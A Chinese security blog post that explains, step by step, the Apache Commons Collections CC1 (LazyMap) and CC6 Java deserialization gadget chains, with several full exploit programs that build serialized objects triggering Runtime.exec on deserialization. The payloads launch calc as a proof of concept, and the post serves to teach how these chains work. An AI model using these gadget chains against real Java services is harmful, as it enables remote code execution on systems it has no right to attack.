Java反序列化-(LazyMap)CC1链与CC6链

最新推荐文章于 2024-06-15 00:03:39 发布
最新推荐文章于 2024-06-15 00:03:39 发布
阅读量687 收藏 18
点赞数 21
分类专栏： Java安全 # Java反序列化-CC链 文章标签： java c语言 开发语言
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_53912233/article/details/137787763
版权

(LazyMap)CC1链

原版的CC1链：

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java

可以发现对比之前的 TransformMap版本的CC1链，从这里开始就不一样了
image.png

分析LazyMap.get()

直接进入到LazyMap类去分析get方法
image.png
可以发现transfor方法和之前的 InvokerTransformer类中的transfor方法很是相似
image.png
java中父类可以调用子类的方法
image.png
这个时候追踪这个 factory 方法的来源
image.png
这里是可控的，就不细说了，类似TransformedMapCC1链的方法
image.png
编写Exp代码

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception{
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, invokerTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method get = lazyMapClass.getMethod("get", Object.class);
        get.invoke(lazymap,r);


    }
}

运行之后可以看见命令执行成功，说明了这条链是可行的
image.png
利用一个叫 ChainedTransformer的方法，进行简写刚刚的反射代码
image.png

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method get = lazyMapClass.getMethod("get", Object.class);
        get.invoke(lazymap,chainedTransformer);
    }
}

image.png

向上寻找readObject入口类

我们知道LazyMap使用的是get方法，然后我们在AnnotationInvocationHandler类中找到了get方法的使用，其中get方法还是在invoke方法里
image.png
构造exp代码，我们可以控制 memberValues.get(member) 中的memberValues变量
image.png

这个类还继承了InvocationHandler接口类，它是代理实例的调用处理程序实现的接口
image.png
这意味着我们可以通过动态代理调用invoke方法
image.png

  • ClassLoader loader 类的加载器
  • Class<?>[] interfaces 是一个数组，用于指定动态代理对象要实现的接口
  • InvocationHandler h 处理动态代理对象方法调用的处理器

代理的对象且实例化代码

InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);
Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

最终exp代码：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

public class CC1LazyMap {
    public static void main(String[] args) throws Exception{
        Transformer[]  transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
//        Method get = lazyMapClass.getMethod("get", Object.class);
//        get.invoke(lazymap,chainedTransformer);


        Class<?> a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> aihConstructor = a.getDeclaredConstructor(Class.class, Map.class);
        aihConstructor.setAccessible(true);
        //转InvocationHandler类型是为了能够调用处理程序实现的接口
        InvocationHandler aih =  (InvocationHandler) aihConstructor.newInstance(Override.class, lazymap);


        Map proxyMap  = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, aih);
        InvocationHandler o = (InvocationHandler) aihConstructor.newInstance(Override.class, proxyMap);

        serialize(o);
        unserialize("ser.bin");

    }

    public static void  serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

成功命令执行
image.png

总结

低版本可以使用，如8u65，高版本jdk8u71就不能利用了。通过动态代理利用invoke方法，实现可控方法。
image.png

CC6链分析

官方的CC6链Payload：

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections6.java

对比CC1链就是这里不同
image.png\

xxx.readObject()
	HashMap.put()
	HashMap.hash()
		TiedMapEntry.hashCode()
		TiedMapEntry.getValue()
			LazyMap.get()
				ChainedTransformer.transform()
					InvokerTransformer.transform()
						Runtime.exec()

TiedMapEntry

我们可以从LazyMap.get()的上一层链子 TiedMapEntry 开始复现
image.png

getValue

可以发现TiedMapEntry的构造方法
image.png
再找到这个类的getValue方法，这个方法会调用map.get(key)方法。也就是说我们可以将构造好的lazymap的恶意内容放入到这里

exp构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        tiedMapEntry.getValue();

    }
}

可以看见命令执行成功
image.png
代码理解，看图
image.png
这里需要应该key，那么随便给一个，这里给了一个null空值。

hashCode

在这里可以发现，hashcode()方法调用了getValue()的方法
image.png
在 Java 反序列化当中，看见了 hashCode()后基本用这一条：

hashMap.put(Object key,Object value);

我们将 tiedMapEntry变量带入到 key中，然后value随便给
image.png

exp构造
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        hashMap.put(tiedMapEntry,null);
    }
}

运行代码之后可以看见命令执行
image.png
put自动执行了hashCode，相当于调用了getValue方法

反序列化构造payload

序列化与反序列化代码:

  public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

我们知道在序列化执行命令执行是错误的，目标是为了服务器在反序列化对象的时候才能够命令执行。所以我们需要在序列化之前修改代码让它不执行命令，再反序列化的时候能够命令执行。

利用反射修改LazyMap类中的factory字段

protected final Transformer factory;
  • Transformer 是一个接口或类的类型，表示这个字段的类型是 Transformer。
  • factory 字段名

在执行命令之前，修改这行代码，让它不能命令执行

Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));

后面操作LazayMap的class，进行反射操作factory字段名

 Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);

类的类型为lazymap，字段名为chainedTransformer
image.png
从而构造exp为以下：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        hashMap.put(tiedMapEntry,null);
        
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);


        serialize(hashMap);
        unserialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

但是还不能执行命令

让map类型中的key为false

来到LazyMap 的 get 方法中，可以看见如果key为false，就会调用这个 factory.transform()方法
image.png
所以我们要删除map类型里面的key值内容，让它为false。
在xx.put()下添加这行代码：

hashMap.remove(null);

最终exp

从而构造最终exp代码：

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> hashMap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, null);
        hashMap.put(tiedMapEntry,null);
        hashMap.remove(null);//也可以修改为lazymap，null改为任意字符都可以

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factory = lazyMapClass.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap,chainedTransformer);


        //serialize(hashMap);
        unserialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

序列化代码后，只进行反序列化ser.bin文件，可以看见命令执行成功
image.png

总结

总的流程应该是：CC1+URLDNS(异曲同工)
这条CC6链的好处是JDK版本不受限制，但是仅限于 是commons-collections 3.2.1的版本或低于它的版本。

cike_y
关注
  • 21
    点赞
  • 踩
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
phonegap-phonegap-1.0.0-0-g80cc6dd.zip
09-21
这种开发方式极大地降低了开发多平台应用的门槛，因为开发者只需要熟悉Web开发即可，而不需要学习多种原生平台的开发语言，如Objective-C（iOS）、Java（Android）等。 在“phonegap-phonegap-80cc6dd”这个压缩包...
告别脚本小子系列丨JAVA安全(6)——反序列化利用链（上）
C20220511的博客
06-24 1099
我们通常把反序列化漏洞和反序列化利用链分开来看，有反序列化漏洞不一定有反序列化利用链（经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key，但是找不到gadget，这也就是在这种场景下没有可利用的反序列化利用链）。如果我们向某个漏洞提交平台提交一个反序列化漏洞，但是不给反序列化利用链，那么平台大概率是不会接受这种漏洞的。...
CC1(LazyMap版)
..
10-14 624
前面我们介绍了TransformedMap版的CC1链， 但是在ysoserial中用的是LazyMap，其实都差不多，下面开始分析一下，下面重在分析，如何找的就不说了（也不会）。如果文章有错误，欢迎斧正。
java反序列化---cc6链
求大佬师傅带
06-15 862
Runtime.getRuntime().exec()
【java安全】原生反序列化利用链JDK7u21
leekos的博客，分享web安全相关知识~
08-03 3045
进行反序列化利用。我们肯定会想，如果不利用第三方类库，能否进行反序列化利用链呢？这里还真有：JDK7u21。但是只适用于java 7u及以前的版本在使用这条利用链时，需要设置jdk为jdk7u21。
6-java安全——java反序列化漏洞利用链
网络安全
07-01 4043
本篇将学习java反序列化漏洞原理，然后结合一个apache commons-collections组件反序列化漏洞来学习如何构造利用链。 我们知道序列化操作主要是由ObjectOutputStream类的 writeObject()方法来完成，反序列化操作主要是由ObjectInputStream类的readObject()方法来完成。当可序列化对象重写了readObject方法后，在反序列化时一般会调用序列化对象的readObject方法。 在Student类中重写ObjectInputSt
Java反序列化：CC1链 详解
Jay17的博客
10-06 1039
Java反序列化：CC1链 详解
treinaweb-java-web-fundamentos:TreinaWeb的“ Java-Web基础知识”课程中生成的代码存储库
04-30
TreinaWeb：“ Java-Web基础... 第3.1课：创建Java Web项目 61e3bd2718edc2725b7eb035e6716f3260e283a1 第3.3课：与Servlet的首次联系 9d625ee2d32bf8b3c8e1392f24cea98617a2037f 第3.4课：重写Servlet的service（）
JavaScript应用实例-AD790179-8D8A-4CC6-BF68-25D58C7FD745.js
12-09
JavaScript应用实例-AD790179-8D8A-4CC6-BF68-25D58C7FD745.js
CC6.rar_CCU6_CCU6 PWM_xc866_高手网6xc cc
07-14
xc866的CCU6模块的使用例程，输出六路PWM脉冲，
4594619f-b2a5-48a4-b54b-80e0eb2cc6bb.zip
最新发布
06-20
1. **数据库概念**：数据库是存储和组织数据的系统，提供数据的结构化存储、查询、更新和管理。它允许通过SQL（结构化查询语言）进行数据操作。 2. **关系数据库模型**：本项目可能基于关系数据库模型，这是最常用...
Java安全 反序列化(3) CC1链-TransformedMap版
qq_39947980的博客
03-21 1426
本文尝试从CC1的挖掘思路出发，理解CC1的实现原理
Java反序列化之CommonsCollections CC1链分析
shelter1234567的博客
09-07 545
cc链的研究可以说是非常适合java代码审计的入门篇了，十分考验java代码功力，其实也是基础功，跨过了这个门槛，在看看其他业务代码就会比较轻松了。不要说代码难，看不懂，作者也是刚入门java没几个月的小白，只要基本功扎实，慢慢看 慢慢调式。你也会慢慢明白其中的运行逻辑。commons-collections 是 Apache Commons 项目中的一个子项目，它提供了一组有用的集合类，这些类扩展了 Java 标准库中的集合类，并提供了许多额外的功能。
Java反序列化调用链
GalaxySpaceX的博客
09-19 333
Java反序列化调用链分析
Java反序列化2-CommonCollections利用链分析
weixin_43263451的博客
07-01 789
首先这篇文章不是出自yso中cc1的payload，该篇利用的是TransformedMap。以下是主要的参考文章汇总：https://www.yuque.com/tianxiadamutou/zcfd4v/hsh32p#3b11f6b6https://xz.aliyun.com/t/7031#toc-8p牛-代码审计-Java漫谈首先我会分析POC的核心代码，然后讲解为什么其他方式不行，最后为了提高漏洞利用的普适程度，引出POC的全部代码。总体思路： 0x01 实验环境 本次的实验环境是jdk1.7的7u
Java原生反序列化漏洞利用链(URLDNS)
m0_55994898的博客
08-03 187
反序列化漏洞指在代码中存在不安全的反序列化操作(可控的序列化数据流入了反序列化方法中),在绝大多数编程语言中通常都有序列化/反序列化的功能(例如PHP,Java,Python),在序列化/反序列化的过程中通常会自动调用一些固定的方法,在PHP中序列化/反序列化时会调用对应类中的。
Java反序列化漏洞-CC6利用链分析
柠檬i的博客
12-26 1313
经过之前对[CC1链]的分析，现在已经对反序列化利用链有了初步的认识，这次来分析一个最好用的CC利用链——CC6。 为什么CC6是最好用的CC利用链，因为CC6不限制jdk版本，只要commons collections 小于等于3.2.1，都存在这个漏洞。
Java反序列化之URLDNS链
m0_62466350的博客
05-28 755
URLDNS链是java原生态的一条利用链，通常用于存在反序列化漏洞进行验证的，因为是原生态，不存在什么版本限制。不限制jdk版本，使用Java内置类，对第三方依赖没有要求目标无回显，可以通过DNS请求来验证是否存在反序列化漏洞URLDNS利用链，只能发起DNS请求，并不能进行其他利用这条链路还是比较简单的，通常用于存在反序列化漏洞进行验证的，学好了才能更好的为后面打基础。
用cplusplus实现提取REGISTER sip:60010802002000000103@10.5.1.79:5062 SIP/2.0\r\nCall-ID: 7cc6a2c51090441ea4760beabc1bc9aa\r\nX-GB-Ver:3.0\r\nContact: <sip:34020000001320000001@10.5.1.76:5060>\r\n"中的X-GB-Ver版本号3.0
03-23
可以使用正则表达式来提取X-GB-Ver版本号3.0，具体实现代码如下： ```cpp #include <iostream> #include <regex> #include <string> int main() { std::string str = "REGISTER sip:60010802002000000103@10.5.1.79:5062 SIP/2.0\r\nCall-ID: " "7cc6a2c51090441ea4760beabc1bc9aa\r\nX-GB-Ver:3.0\r\nContact: " "<sip:34020000001320000001@10.5.1.76:5060>\r\n"; std::regex rgx("X-GB-Ver:(\\d+\\.\\d+)"); std::smatch match; if (std::regex_search(str, match, rgx)) { std::cout << "X-GB-Ver版本号: " << match[1] << std::endl; } else { std::cout << "未找到X-GB-Ver版本号" << std::endl; } return 0; } ``` 输出结果为： ``` X-GB-Ver版本号: 3.0 ```

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

cike_y

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值